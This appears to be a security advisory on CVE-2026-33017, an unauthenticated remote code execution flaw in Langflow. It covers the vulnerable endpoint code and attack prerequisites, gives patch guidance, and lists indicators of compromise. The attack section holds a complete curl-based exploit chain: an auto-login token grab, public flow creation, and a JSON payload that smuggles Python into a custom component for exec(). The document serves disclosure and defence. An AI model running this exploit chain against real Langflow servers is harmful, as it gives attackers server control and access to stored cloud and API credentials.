CVE-2026-33017 is a critical (CVSS 9.8) unauthenticated remote code execution (RCE) vulnerability in Langflow, an open-source framework for building LLM and RAG pipelines. The flaw exists in the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint, which is designed to allow unauthenticated access for public flows but improperly accepts attacker-controlled data from the request body instead of using server-stored flow definitions. This data is used to construct a Custom Component—an extensible block where users define behavior in Python. The Python code embedded in this component is then executed via `exec()` without any sandboxing or validation, allowing attackers to run arbitrary code on the server with a single HTTP request. Since Langflow stores various cloud provider credentials and API keys, exploitation can escalate beyond server compromise to lateral movement across cloud infrastructures and supply chain attacks. The vulnerability was first publicly disclosed on March 16, 2026, and active exploitation was observed within approximately 20 hours of disclosure. It has been assigned a CVSS v3.1 score of 9.8 (Critical) by the NVD and was added to the CISA KEV catalog on March 25, 2026. Users must immediately upgrade from affected versions (prior to 1.9.0) to version 1.9.0 or later.
---
1. Overview
CVE-2026-33017 is a Critical-severity remote code execution (RCE) vulnerability discovered in Langflow, an open-source framework that allows users to visually configure LLM and RAG (Retrieval-Augmented Generation) pipelines. This vulnerability occurs in the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint, which allows unauthenticated access for building public flows.
By design, this endpoint should only use flow definitions stored on the server; however, in the actual implementation, it accepts the attacker-controlled `data` field included in the request body as-is. This data is used to configure Custom Components, which allow users to define behaviors directly using Python code; the Python code contained within these components is executed via `exec()` without any separate sandbox or validation. As a result, an attacker can execute arbitrary code on the server with a single HTTP request, without valid credentials.

Langflow is an orchestration platform that connects AI models to production data, databases, external services, and internal APIs; by its very nature, it holds a large number of cloud provider credentials and various third-party API keys. Therefore, if this vulnerability is exploited, it could lead not only to server compromise but also to lateral movement into connected cloud infrastructure and supply chain breaches. This vulnerability was first disclosed on March 16, 2026, and actual exploitation was observed approximately 20 hours after disclosure. It was assigned a CVSS v3.1 score of 9.8 (Critical) by the NVD and was added to the CISA KEV catalog on March 25, 2026.Affected versions are those prior to Langflow 1.9.0, and the vendor and security advisories recommend immediately updating to version 1.9.0 or later.
---
2. Attack Vector
CVE-2026-33017 is an unauthenticated remote code execution vulnerability occurring in Langflow’s public flow build endpoint: POST /api/v1/build_public_tmp/{flow_id}/flow. Although this endpoint is designed to allow the building of public flows without authentication, in vulnerable versions, it accepts attacker-controlled data contained in the `data` field of the request body as-is, rather than using the flow definition stored on the server.
Below is the actual code for the vulnerable endpoint, which shows that it directly receives the `data` parameter from the request body.
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # ATTACKER CONTROLLED
request: Request,
# ... NO Depends(get_current_active_user) -- MISSING AUTH ...
):
"""Build a public flow without requiring authentication."""
client_id = request.cookies.get("client_id")
owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)
job_id = await start_flow_build(
flow_id=new_flow_id,
data=data, # Attacker's data passed directly to graph builder
current_user=owner_user,
...
)
Langflow’s Custom Component is an extensible block that allows users to define behavior directly using Python code; an attacker inserts a custom component containing malicious Python code within the `data` field. The server processes this as a legitimate flow component, and the inserted code is executed via `exec()` without any separate sandboxing or validation, as shown below, resulting in remote code execution.
def prepare_global_scope(module):
exec_globals = globals().copy()
# Imports are resolved first (any module can be imported)
for node in imports:
module_obj = importlib.import_module(module_name) # line 352
exec_globals[variable_name] = module_obj
# Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)
if definitions:
combined_module = ast.Module(body=definitions, type_ignores=[])
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # line 397 - ARBITRARY CODE EXECUTION
For the attack to succeed, the target instance must have at least one Public flow, the attacker must know the UUID (flow_id) of that flow, and only a client_id cookie—which allows arbitrary strings—is required. However, when Langflow is set to its default configuration of AUTO_LOGIN=true, both the issuance of an administrator token and the creation of a public flow are possible without authentication, as shown below; therefore, the attacker can satisfy all three prerequisites on their own.
# Get superuser token (no credentials needed when AUTO_LOGIN=true)
TOKEN=$(curl -s http://[Target]/api/v1/auto_login | jq -r '.access_token')
# Create a public flow
FLOW_ID=$(curl -s -X POST http://[Target]/api/v1/flows/ \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
| jq -r '.id')
echo "Public Flow ID: $FLOW_ID"
After obtaining the `flow_id`, the attacker achieves RCE with a single request, without authentication, as shown below.
# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint
# NO Authorization header, NO API key, NO credentials
curl -X POST "http://[Target]/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H "Content-Type: application/json" \
-b "client_id=attacker" \
-d '{
"data": {
"nodes": [{
"id": "Exploit-001",
"type": "genericNode",
"position": {"x":0,"y":0},
"data": {
"id": "Exploit-001",
"type": "ExploitComp",
"node": {
"template": {
"code": {
"type": "code",
"required": true,
"show": true,
"multiline": true,
"value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})",
"name": "code",
"password": false,
"advanced": false,
"dynamic": false
},
"_type": "Component"
},
"description": "X",
"base_classes": ["Data"],
"display_name": "ExploitComp",
"name": "ExploitComp",
"frozen": false,
"outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
"field_order": ["code"],
"beta": false,
"edited": false
}
}
}],
"edges": []
},
"inputs": null
}'
Actual attacks were observed approximately 20 hours after the security advisory was published; analysis indicates that attackers created their own exploits based solely on the advisory’s content, even though no PoC code had been released at the time. Initially, mass scanning was conducted using Nuclei-based automated scanners; subsequently, attackers using custom exploit scripts downloaded and executed additional malware from external servers, dumped environment variables via the `env` command, .env files, and database credentials.
Meanwhile, in a separately observed attack campaign, cryptojacking activity was confirmed in which a Go-based binary called “lambsys” was used to terminate competing cryptominer processes, disable security controls such as AppArmor, SELinux, UFW, and iptables, and then install the XMRig Monero miner.

---
3. Mitigation Measures
CVE-2026-33017 allows remote code execution via a single HTTP request without authentication. As this vulnerability is listed in the CISA KEV (Known Exploited Vulnerabilities) catalog, immediate action is required. Korea’s KISA has also issued a security advisory regarding this vulnerability.
Apply the patch immediately
You must immediately upgrade to Langflow 1.9.0 or later.
Category
Version
Vulnerable Version
Langflow 1.8.2 or earlier
Patch Version
Langflow 1.9.0 or later
Temporary Mitigation
If an immediate upgrade is not possible, you can mitigate the issue by removing the `data` parameter and forcing the graph to be generated solely based on flows stored in the database for unauthenticated requests. Additionally, block external access to the /api/v1/build_public_tmp endpoint via firewall rules or a reverse proxy, and isolate the network so that the Langflow instance is not directly exposed to the internet. Remove unnecessary public flows and disable the AUTO_LOGIN=true default setting.
Verification of Compromise and Follow-Up Measures
For Langflow instances with a history of external exposure, immediately replace all API keys and database credentials for integrated services such as OpenAI, Anthropic, and AWS, and conduct a comprehensive audit of secrets stored in the .env file. Inspect system logs and network traffic based on the metrics below.
Attacker IP
IP
Activity Type
77.110.106.154
Nuclei automated scan
209.97.165.247
Nuclei Automated Scan
188.166.209.86
Nuclei Automated Scan
205.237.106.117
Nuclei Automated Scan
83.98.164.238
Custom exploits, reconnaissance, malware distribution
173.212.205.251
Custom exploits, credential theft, dropper hosting
*Note: This may be a proxy or temporary server rather than the attacker’s actual IP address; use for reference only
C2 and Malicious Infrastructure
Indicators
Description
143.110.183.86:8080
C2 server — Receives stolen data
173.212.205.251:8443
Dropper host — Delivers additional malware
83.142.209\[.\]214
IP Addresses Recommended for Outbound Connection Monitoring
Malicious Files and Behavior
Indicators
Description
Presence of lambsys binary
XMRig installation, disabling security controls, and credential theft
Abnormal cron entries
Registration to ensure lambsys persistence
DNS requests to the .oast.live, .oast.me, .oast.pro, .oast.fun, and .oastify.com domains
OOB callback domains for the Nuclei scanner
History of abnormal access to the /api/v1/build_public_tmp endpoint
Verification of POST requests to the endpoint in web server logs
---
4. Conclusion
CVE-2026-33017 is a pre-authentication remote code execution vulnerability in Langflow, which has a broad user base with over 145,000 GitHub stars. Due to its simplicity—requiring only a single HTTP request to complete the attack—and the fact that it does not require authentication, it was quickly weaponized into an automated attack tool.
This vulnerability poses a supply-chain-level threat to organizations operating AI infrastructure, as the damage can spread across the entire connected infrastructure by stealing credentials for cloud and AI services integrated with Langflow—going beyond mere server compromise. Actual attack campaigns have been confirmed to involve the simultaneous deployment of cryptominers and the theft of credentials, indicating that the types of damage can vary widely.
In all environments running Langflow, immediate upgrading to version 1.9.0 or higher and the complete replacement of existing credentials must be treated as top priorities.
---
5. Notes
- https://nvd.nist.gov/vuln/detail/cve-2026-33017
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-vwmf-pq79-vjvx
- https://github.com/langflow-ai/langflow/blob/0a6f7e015bf723d8fd346fe7d2544122b5d613a5/src/backend/base/langflow/api/v1/chat.py#L580
- https://github.com/langflow-ai/langflow/blob/0a6f7e015bf723d8fd346fe7d2544122b5d613a5/src/lfx/src/lfx/custom/validate.py#L323
- https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=72011&menuNo=205020
- https://github.com/EQSTLab/CVE-2026-33017
- https://research.jfrog.com/post/langflow-latest-version-was-not-fixed/
- https://www.sysdig.com/blog/cve-2026-33017-how-attackers-compromised-langflow-ai-pipelines-in-20-hours
- https://www.cisa.gov/news-events/alerts/2026/03/25/cisa-adds-one-known-exploited-vulnerability-catalog
- https://orca.security/resources/blog/langflow-rce-vulnerability-cve-2026-33017/